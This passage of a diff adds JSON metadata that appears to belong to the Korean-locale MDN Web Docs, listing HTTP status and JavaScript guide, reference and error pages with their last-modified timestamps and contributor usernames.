+      "woniok"
+    ]
+  },
+  "Web/HTTP/Status/202": {
+    "modified": "2020-11-11T08:43:58.279Z",
+    "contributors": [
+      "04SeoHyun"
+    ]
+  },
+  "Web/HTTP/Status/204": {
+    "modified": "2020-10-15T22:26:07.312Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/HTTP/Status/205": {
+    "modified": "2019-10-21T23:25:57.178Z",
+    "contributors": [
+      "Leekyungun"
+    ]
+  },
+  "Web/HTTP/Status/206": {
+    "modified": "2020-10-15T22:00:38.502Z",
+    "contributors": [
+      "alattalatta",
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Status/301": {
+    "modified": "2020-10-15T21:57:45.425Z",
+    "contributors": [
+      "EatChangmyeong",
+      "Latera"
+    ]
+  },
+  "Web/HTTP/Status/302": {
+    "modified": "2020-10-15T22:09:33.033Z",
+    "contributors": [
+      "constmoon",
+      "jinbeomhong"
+    ]
+  },
+  "Web/HTTP/Status/304": {
+    "modified": "2020-10-15T22:15:25.054Z",
+    "contributors": [
+      "hedy.kim",
+      "NoFence"
+    ]
+  },
+  "Web/HTTP/Status/307": {
+    "modified": "2020-10-15T22:32:27.392Z",
+    "contributors": [
+      "hedy.kim"
+    ]
+  },
+  "Web/HTTP/Status/400": {
+    "modified": "2019-03-18T20:40:51.653Z",
+    "contributors": [
+      "parksb"
+    ]
+  },
+  "Web/HTTP/Status/401": {
+    "modified": "2020-10-15T22:22:08.295Z",
+    "contributors": [
+      "alattalatta",
+      "feel5ny"
+    ]
+  },
+  "Web/HTTP/Status/403": {
+    "modified": "2020-11-23T08:46:49.853Z",
+    "contributors": [
+      "nesez",
+      "parksb",
+      "derren-korean"
+    ]
+  },
+  "Web/HTTP/Status/404": {
+    "modified": "2020-10-15T21:56:17.391Z",
+    "contributors": [
+      "parksb",
+      "wicksome"
+    ]
+  },
+  "Web/HTTP/Status/405": {
+    "modified": "2019-03-18T21:39:51.856Z",
+    "contributors": [
+      "rubysoho07"
+    ]
+  },
+  "Web/HTTP/Status/408": {
+    "modified": "2020-09-08T23:34:11.217Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/HTTP/Status/409": {
+    "modified": "2019-08-18T03:42:44.148Z",
+    "contributors": [
+      "feel5ny"
+    ]
+  },
+  "Web/HTTP/Status/411": {
+    "modified": "2019-03-18T21:20:29.536Z",
+    "contributors": [
+      "Hozerogold"
+    ]
+  },
+  "Web/HTTP/Status/413": {
+    "modified": "2019-03-18T21:20:20.721Z",
+    "contributors": [
+      "Hozerogold"
+    ]
+  },
+  "Web/HTTP/Status/416": {
+    "modified": "2020-10-15T22:00:42.177Z",
+    "contributors": [
+      "gaucho1218"
+    ]
+  },
+  "Web/HTTP/Status/418": {
+    "modified": "2020-10-15T22:15:42.086Z",
+    "contributors": [
+      "alattalatta",
+      "parksb"
+    ]
+  },
+  "Web/HTTP/Status/422": {
+    "modified": "2019-04-22T01:23:47.412Z",
+    "contributors": [
+      "ddojung",
+      "idw111"
+    ]
+  },
+  "Web/HTTP/Status/431": {
+    "modified": "2020-09-09T00:09:17.676Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/HTTP/Status/500": {
+    "modified": "2020-10-15T22:16:11.441Z",
+    "contributors": [
+      "BenjaminYou"
+    ]
+  },
+  "Web/HTTP/Status/501": {
+    "modified": "2020-10-15T22:34:10.166Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/HTTP/Status/502": {
+    "modified": "2020-10-15T22:34:00.158Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/HTTP/Status/503": {
+    "modified": "2020-10-15T22:14:29.476Z",
+    "contributors": [
+      "dragmove"
+    ]
+  },
+  "Web/HTTP/Status/504": {
+    "modified": "2020-10-20T02:51:30.454Z",
+    "contributors": [
+      "bluayer"
+    ]
+  },
+  "Web/HTTP/Status/505": {
+    "modified": "2020-11-10T09:19:56.364Z",
+    "contributors": [
+      "junnapark"
+    ]
+  },
+  "Web/HTTP/User_agent를_이용한_브라우저_감지": {
+    "modified": "2020-09-13T12:21:12.513Z",
+    "contributors": [
+      "sephiron99",
+      "MyungsunLee",
+      "alattalatta",
+      "citrus.alice",
+      "seokju-na",
+      "wicksome"
+    ]
+  },
+  "Web/JavaScript": {
+    "modified": "2020-03-23T04:53:28.173Z",
+    "contributors": [
+      "alattalatta",
+      "SphinxKnight",
+      "cs09g",
+      "limkukhyun",
+      "Olivia_J",
+      "soomtong",
+      "yuj25",
+      "Geun-Hyung_Kim",
+      "Netaras",
+      "incleaf",
+      "hoony",
+      "nacyot",
+      "lazysense",
+      "stephenjang",
+      "teoli",
+      "jsx",
+      "JaehaAhn",
+      "ChangJooPark",
+      "Luzi.kr",
+      "iMaZiNe",
+      "Jeado.Ko",
+      "MoGi",
+      "jaemin_jo",
+      "taggon",
+      "fscholz",
+      "Dyhan81",
+      "Verruckt",
+      "Jiyoon",
+      "Channy",
+      "JongChun"
+    ]
+  },
+  "Web/JavaScript/About": {
+    "modified": "2020-03-12T19:36:55.143Z",
+    "contributors": [
+      "JinKang",
+      "Parcovia",
+      "cs09g",
+      "imjang57",
+      "wayne-kim",
+      "desty",
+      "stephenjang",
+      "Luzi.kr",
+      "teoli",
+      "Zer0th",
+      "99corps"
+    ]
+  },
+  "Web/JavaScript/Data_structures": {
+    "modified": "2020-07-30T02:41:19.847Z",
+    "contributors": [
+      "justttttin",
+      "Dongheon",
+      "MrKwon",
+      "Jeado.Ko",
+      "seungha-kim",
+      "sftblw",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/JavaScript/Differential_inheritance_in_JavaScript": {
+    "modified": "2020-09-14T22:22:46.677Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Enumerability_and_ownership_of_properties": {
+    "modified": "2020-07-28T23:08:47.885Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Equality_comparisons_and_sameness": {
+    "modified": "2020-03-12T19:43:42.580Z",
+    "contributors": [
+      "limkukhyun",
+      "sshplendid",
+      "Netaras",
+      "joshua1988"
+    ]
+  },
+  "Web/JavaScript/EventLoop": {
+    "modified": "2020-03-12T19:43:30.561Z",
+    "contributors": [
+      "cs09g",
+      "varvir",
+      "Ken123777",
+      "limkukhyun",
+      "seungha-kim",
+      "HyunSeob",
+      "hwshim"
+    ]
+  },
+  "Web/JavaScript/Guide": {
+    "modified": "2020-03-12T19:37:41.107Z",
+    "contributors": [
+      "doong-jo",
+      "limkukhyun",
+      "alattalatta",
+      "ddarkchu",
+      "Donghyun_Lee",
+      "stephenjang",
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Guide/Closures": {
+    "modified": "2020-03-12T19:37:58.819Z",
+    "contributors": [
+      "chaewonkong",
+      "songdoing",
+      "RamiTae",
+      "Violet-Bora-Lee",
+      "alattalatta",
+      "henry_hwang",
+      "Seonghui",
+      "guyeol",
+      "limkukhyun",
+      "zziuni",
+      "Yoonjoo",
+      "KSH-code",
+      "afrontend",
+      "AlexMin",
+      "Jongmin",
+      "MyHyuny",
+      "joeunha",
+      "Kaben",
+      "noritersand",
+      "kdnmih",
+      "teoli",
+      "JaehwanLee",
+      "jaemin_jo"
+    ]
+  },
+  "Web/JavaScript/Guide/Control_flow_and_error_handling": {
+    "modified": "2020-03-12T19:41:32.768Z",
+    "contributors": [
+      "limkukhyun",
+      "KSH-code",
+      "afterglows",
+      "charyum.park",
+      "jadestern",
+      "sshplendid",
+      "wertgw",
+      "woochankim",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Guide/Expressions_and_Operators": {
+    "modified": "2020-04-30T03:43:48.082Z",
+    "contributors": [
+      "HubCodes",
+      "ukhyun2402",
+      "alattalatta",
+      "kasinArc",
+      "jeongchaeuk",
+      "khg0712",
+      "hohoonlee",
+      "wafersroom",
+      "honey.and.sw",
+      "nacyot",
+      "woochankim",
+      "wertgw"
+    ]
+  },
+  "Web/JavaScript/Guide/Indexed_collections": {
+    "modified": "2020-03-12T19:42:07.636Z",
+    "contributors": [
+      "2kindsofcs",
+      "limkukhyun",
+      "Eechul",
+      "ryukato"
+    ]
+  },
+  "Web/JavaScript/Guide/Inheritance_and_the_prototype_chain": {
+    "modified": "2020-04-04T00:50:18.045Z",
+    "contributors": [
+      "peter1035k",
+      "jeongraeKim",
+      "dbwodlf3",
+      "project42da",
+      "quddnr153",
+      "ahnzaz",
+      "laranhee",
+      "daewooLeeNy",
+      "danhojin",
+      "shim.hw0810",
+      "faker007",
+      "juyonglee",
+      "epicsaga",
+      "sftblw",
+      "mixed80",
+      "teoli",
+      "JaehwanLee",
+      "jaemin_jo"
+    ]
+  },
+  "Web/JavaScript/Guide/Iterators_and_Generators": {
+    "modified": "2020-07-15T01:15:38.167Z",
+    "contributors": [
+      "Oizys18",
+      "seokju-na",
+      "leegeunhyeok",
+      "jeongraeKim",
+      "ljh0908lee",
+      "limkukhyun",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Guide/Keyed_collections": {
+    "modified": "2020-03-12T19:42:06.027Z",
+    "contributors": [
+      "Joel-An",
+      "LumiLoves",
+      "hoony",
+      "fureweb",
+      "nacyot",
+      "ryukato"
+    ]
+  },
+  "Web/JavaScript/Guide/Loops_and_iteration": {
+    "modified": "2020-10-08T09:21:13.596Z",
+    "contributors": [
+      "jongwoo0728",
+      "yhyim",
+      "SphinxKnight",
+      "SSaMKJ",
+      "gnujoow",
+      "woochankim",
+      "JunBeom-Park",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Guide/Modules": {
+    "modified": "2020-10-15T22:18:56.791Z",
+    "contributors": [
+      "raccoonback",
+      "DeadIntegral"
+    ]
+  },
+  "Web/JavaScript/Guide/Numbers_and_dates": {
+    "modified": "2020-11-19T02:20:24.044Z",
+    "contributors": [
+      "n2ptune",
+      "ukhyun2402",
+      "limkukhyun",
+      "pers0n4",
+      "kbsbroad",
+      "junoim",
+      "wertgw",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About": {
+    "modified": "2019-01-16T16:11:14.324Z",
+    "contributors": [
+      "teoli",
+      "Wafe",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages": {
+    "modified": "2019-01-16T14:15:11.129Z",
+    "contributors": [
+      "teoli",
+      "99corps"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants": {
+    "modified": "2019-01-16T16:11:22.319Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects": {
+    "modified": "2019-01-16T15:05:32.812Z",
+    "contributors": [
+      "teoli",
+      "Anonymous"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters": {
+    "modified": "2019-03-23T23:43:54.514Z",
+    "contributors": [
+      "jigs12",
+      "teoli",
+      "ethertank",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods": {
+    "modified": "2019-03-23T23:43:58.661Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Properties_for_an_Object_Type": {
+    "modified": "2019-03-23T23:43:46.816Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Deleting_Properties": {
+    "modified": "2019-03-23T23:43:53.828Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Indexing_Object_Properties": {
+    "modified": "2019-03-23T23:43:44.923Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_a_Constructor_Function": {
+    "modified": "2019-03-23T23:43:44.078Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_this_for_Object_References": {
+    "modified": "2019-03-23T23:43:58.264Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression": {
+    "modified": "2019-03-23T23:43:48.309Z",
+    "contributors": [
+      "teoli",
+      "디토"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Expressions": {
+    "modified": "2019-01-16T16:16:32.143Z",
+    "contributors": [
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/JavaScript_Overview": {
+    "modified": "2019-01-16T14:15:11.648Z",
+    "contributors": [
+      "teoli",
+      "S. Kang",
+      "jsnapz",
+      "Ape1126",
+      "Wafe",
+      "Huick",
+      "Gilchris"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Literals": {
+    "modified": "2019-03-23T23:43:37.505Z",
+    "contributors": [
+      "teoli",
+      "panda",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Objects_and_Properties": {
+    "modified": "2019-01-16T15:50:20.671Z",
+    "contributors": [
+      "teoli",
+      "Gilchris"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators": {
+    "modified": "2019-03-23T23:41:51.754Z",
+    "contributors": [
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Arithmetic_Operators": {
+    "modified": "2019-01-16T16:11:11.253Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Assignment_Operators": {
+    "modified": "2019-03-23T23:41:53.669Z",
+    "contributors": [
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Bitwise_Operators": {
+    "modified": "2019-01-16T16:11:13.405Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Logical_Operators": {
+    "modified": "2019-01-16T16:11:11.411Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/Special_Operators": {
+    "modified": "2019-01-16T16:11:17.876Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators": {
+    "modified": "2019-01-16T16:11:17.176Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects": {
+    "modified": "2019-01-16T16:10:38.273Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object": {
+    "modified": "2019-03-23T23:43:56.661Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode": {
+    "modified": "2019-01-16T16:11:27.423Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values": {
+    "modified": "2019-01-16T16:11:23.067Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Variables": {
+    "modified": "2019-01-16T16:11:22.455Z",
+    "contributors": [
+      "teoli",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Guide/Text_formatting": {
+    "modified": "2020-03-12T19:41:34.500Z",
+    "contributors": [
+      "limkukhyun",
+      "jungpaeng",
+      "kr-leeteahoon",
+      "wertgw",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Guide/Using_promises": {
+    "modified": "2020-09-07T02:53:40.286Z",
+    "contributors": [
+      "KimEJ",
+      "0131mj",
+      "mytory",
+      "eojina",
+      "limkukhyun",
+      "tw4204",
+      "Ken123777",
+      "coolcpu",
+      "SSJ-unclear",
+      "jadestern"
+    ]
+  },
+  "Web/JavaScript/Guide/Values,_variables,_and_literals": {
+    "modified": "2020-06-03T11:11:26.830Z",
+    "contributors": [
+      "gksrlf2ek",
+      "sujinlee0616",
+      "alattalatta",
+      "shj9432",
+      "dsma73",
+      "yhyim",
+      "hohoonlee",
+      "limkukhyun",
+      "yangtaeho",
+      "gudrl",
+      "jadestern",
+      "ddarkchu",
+      "Netaras",
+      "HyunSeob",
+      "wikibook",
+      "VBChunguk",
+      "trazy",
+      "Donghyun_Lee",
+      "stephenjang",
+      "Rudy-Ahn",
+      "moolow",
+      "teoli",
+      "frog44"
+    ]
+  },
+  "Web/JavaScript/Guide/Working_with_Objects": {
+    "modified": "2019-03-23T23:06:06.143Z",
+    "contributors": [
+      "fscholz",
+      "khg0712",
+      "SphinxKnight",
+      "nacyot",
+      "KBGenie",
+      "jigs12",
+      "PineMt",
+      "ryukato",
+      "cafrii"
+    ]
+  },
+  "Web/JavaScript/Guide/객체_모델의_세부사항": {
+    "modified": "2020-03-12T19:42:17.394Z",
+    "contributors": [
+      "doong-jo",
+      "nmsohn",
+      "DoublSB",
+      "limkukhyun",
+      "wbamberg",
+      "cmygray",
+      "khseok1060",
+      "ryukato"
+    ]
+  },
+  "Web/JavaScript/Guide/메타_프로그래밍": {
+    "modified": "2020-03-12T19:41:24.217Z",
+    "contributors": [
+      "limkukhyun",
+      "nodejs",
+      "stephenjang"
+    ]
+  },
+  "Web/JavaScript/Guide/소개": {
+    "modified": "2020-11-13T15:07:54.630Z",
+    "contributors": [
+      "FennecFoxSW",
+      "ldss3sang",
+      "limkukhyun",
+      "bluerainmaker",
+      "ahnzaz",
+      "BG.Choi",
+      "gudrl",
+      "gnujoow",
+      "stitchworkingonthecode",
+      "ShihwanKim",
+      "Netaras",
+      "cs09g",
+      "Jsfumato",
+      "hwani163",
+      "junoim",
+      "ByeongGi",
+      "stephenjang"
+    ]
+  },
+  "Web/JavaScript/Guide/정규식": {
+    "modified": "2020-04-29T02:51:44.998Z",
+    "contributors": [
+      "yami03",
+      "yeonjuan",
+      "Jung-Max",
+      "deltakor1234",
+      "idid0210",
+      "seungha-kim",
+      "limkukhyun",
+      "khg0712",
+      "nazuna1",
+      "kooljay82",
+      "fdevjm",
+      "coffeenjava",
+      "gaeun917",
+      "namhong2001",
+      "woochankim",
+      "JunBeom-Park",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Guide/정규식/Assertions": {
+    "modified": "2020-09-14T21:47:15.957Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Guide/정규식/Groups_and_Ranges": {
+    "modified": "2020-03-12T19:49:33.624Z",
+    "contributors": [
+      "limkukhyun"
+    ]
+  },
+  "Web/JavaScript/Guide/함수": {
+    "modified": "2020-03-12T19:41:24.935Z",
+    "contributors": [
+      "limkukhyun",
+      "01045972746",
+      "jeoyoho",
+      "bigsaigon333",
+      "creatijin",
+      "jungpaeng",
+      "gudrl",
+      "wafersroom",
+      "gaeun917",
+      "SSaMKJ",
+      "JunLee",
+      "woochankim",
+      "JunBeom-Park",
+      "SooYeonKim"
+    ]
+  },
+  "Web/JavaScript/Introduction_to_Object-Oriented_JavaScript": {
+    "modified": "2019-03-23T23:29:46.029Z",
+    "contributors": [
+      "Parcovia",
+      "JayK95",
+      "rinuel",
+      "teoli",
+      "JaehaAhn"
+    ]
+  },
+  "Web/JavaScript/JavaScript_technologies_overview": {
+    "modified": "2020-03-12T19:37:59.087Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "ethertank",
+      "jaemin_jo"
+    ]
+  },
+  "Web/JavaScript/Memory_Management": {
+    "modified": "2020-03-12T19:37:54.884Z",
+    "contributors": [
+      "presentY1897",
+      "johngrib",
+      "KSH-code",
+      "teoli",
+      "jaemin_jo"
+    ]
+  },
+  "Web/JavaScript/Reference": {
+    "modified": "2020-03-12T19:36:53.431Z",
+    "contributors": [
+      "limkukhyun",
+      "naduhy2",
+      "Netaras",
+      "epicsaga",
+      "teoli",
+      "Constantine Kim",
+      "MoGi",
+      "Dyhan81",
+      "Goldmund"
+    ]
+  },
+  "Web/JavaScript/Reference/About": {
+    "modified": "2020-03-12T19:37:02.761Z",
+    "contributors": [
+      "limkukhyun",
+      "teoli",
+      "Dyhan81",
+      "Netaras",
+      "taggon",
+      "Goldmund"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes": {
+    "modified": "2020-12-02T08:06:01.229Z",
+    "contributors": [
+      "woochul2",
+      "hjleesm",
+      "dsma73",
+      "HyunSangHan",
+      "seulgiyoon",
+      "kylajung",
+      "genzuby",
+      "fscholz",
+      "jyhwng",
+      "roupkk",
+      "hibiya",
+      "faker007",
+      "hwshim",
+      "preco21",
+      "maytree"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/Class_fields": {
+    "modified": "2020-10-15T22:29:50.457Z",
+    "contributors": [
+      "dooyou21"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/Private_class_fields": {
+    "modified": "2020-11-08T09:14:41.975Z",
+    "contributors": [
+      "seong7"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/constructor": {
+    "modified": "2020-10-15T21:42:34.132Z",
+    "contributors": [
+      "alattalatta",
+      "hyoni0817",
+      "limkukhyun",
+      "jeonnoej"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/extends": {
+    "modified": "2020-10-15T21:43:47.995Z",
+    "contributors": [
+      "limkukhyun",
+      "Netaras",
+      "jeonnoej"
+    ]
+  },
+  "Web/JavaScript/Reference/Classes/static": {
+    "modified": "2020-10-15T21:43:46.615Z",
+    "contributors": [
+      "kimkyeseung",
+      "limkukhyun",
+      "jeonnoej",
+      "taihwayoun"
+    ]
+  },
+  "Web/JavaScript/Reference/Deprecated_and_obsolete_features": {
+    "modified": "2020-03-12T19:44:53.109Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors": {
+    "modified": "2020-03-12T19:43:42.482Z",
+    "contributors": [
+      "Netaras",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Bad_octal": {
+    "modified": "2020-03-12T19:44:24.834Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Bad_radix": {
+    "modified": "2020-03-12T19:44:34.573Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Bad_regexp_flag": {
+    "modified": "2020-03-12T19:48:27.405Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Bad_return_or_yield": {
+    "modified": "2020-03-12T19:46:13.633Z",
+    "contributors": [
+      "2oosoo",
+      "highdali"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init": {
+    "modified": "2020-03-12T19:47:46.720Z",
+    "contributors": [
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Delete_in_strict_mode": {
+    "modified": "2020-03-12T19:48:24.242Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Deprecated_caller_or_arguments_usage": {
+    "modified": "2020-03-12T19:44:32.792Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Deprecated_octal": {
+    "modified": "2020-03-12T19:48:30.330Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Identifier_after_number": {
+    "modified": "2020-03-12T19:48:24.600Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Illegal_character": {
+    "modified": "2020-03-12T19:48:28.614Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_array_length": {
+    "modified": "2020-03-12T19:43:37.920Z",
+    "contributors": [
+      "epicsaga"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side": {
+    "modified": "2020-03-12T19:44:36.449Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_date": {
+    "modified": "2020-03-12T19:47:45.133Z",
+    "contributors": [
+      "Olivia_J"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_for-in_initializer": {
+    "modified": "2020-03-12T19:48:28.444Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Invalid_for-of_initializer": {
+    "modified": "2020-03-12T19:48:24.879Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/JSON_bad_parse": {
+    "modified": "2020-03-12T19:46:13.524Z",
+    "contributors": [
+      "highdali"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Malformed_formal_parameter": {
+    "modified": "2020-03-12T19:48:03.882Z",
+    "contributors": [
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_bracket_after_list": {
+    "modified": "2020-03-12T19:48:26.441Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_colon_after_property_id": {
+    "modified": "2020-03-12T19:48:28.709Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_curly_after_property_list": {
+    "modified": "2020-03-12T19:47:44.512Z",
+    "contributors": [
+      "Olivia_J"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_initializer_in_const": {
+    "modified": "2020-03-12T19:48:10.711Z",
+    "contributors": [
+      "rlaace423"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_name_after_dot_operator": {
+    "modified": "2020-03-12T19:48:36.679Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list": {
+    "modified": "2020-03-12T19:47:15.700Z",
+    "contributors": [
+      "nicekkong"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_parenthesis_after_condition": {
+    "modified": "2020-03-12T19:47:45.484Z",
+    "contributors": [
+      "Olivia_J"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement": {
+    "modified": "2020-03-12T19:46:46.133Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/More_arguments_needed": {
+    "modified": "2020-03-12T19:48:33.843Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Negative_repetition_count": {
+    "modified": "2020-03-12T19:44:34.819Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/No_variable_name": {
+    "modified": "2020-03-12T19:48:33.115Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_a_codepoint": {
+    "modified": "2020-03-12T19:44:27.869Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_a_constructor": {
+    "modified": "2020-03-12T19:46:59.075Z",
+    "contributors": [
+      "Latera"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Not_defined": {
+    "modified": "2020-03-12T19:44:37.119Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Precision_range": {
+    "modified": "2020-03-12T19:44:32.328Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Property_access_denied": {
+    "modified": "2020-03-12T19:44:32.773Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Read-only": {
+    "modified": "2020-03-12T19:47:45.720Z",
+    "contributors": [
+      "Olivia_J"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value": {
+    "modified": "2020-03-12T19:49:30.091Z",
+    "contributors": [
+      "WonWoongJang"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Reserved_identifier": {
+    "modified": "2020-03-12T19:48:28.133Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Resulting_string_too_large": {
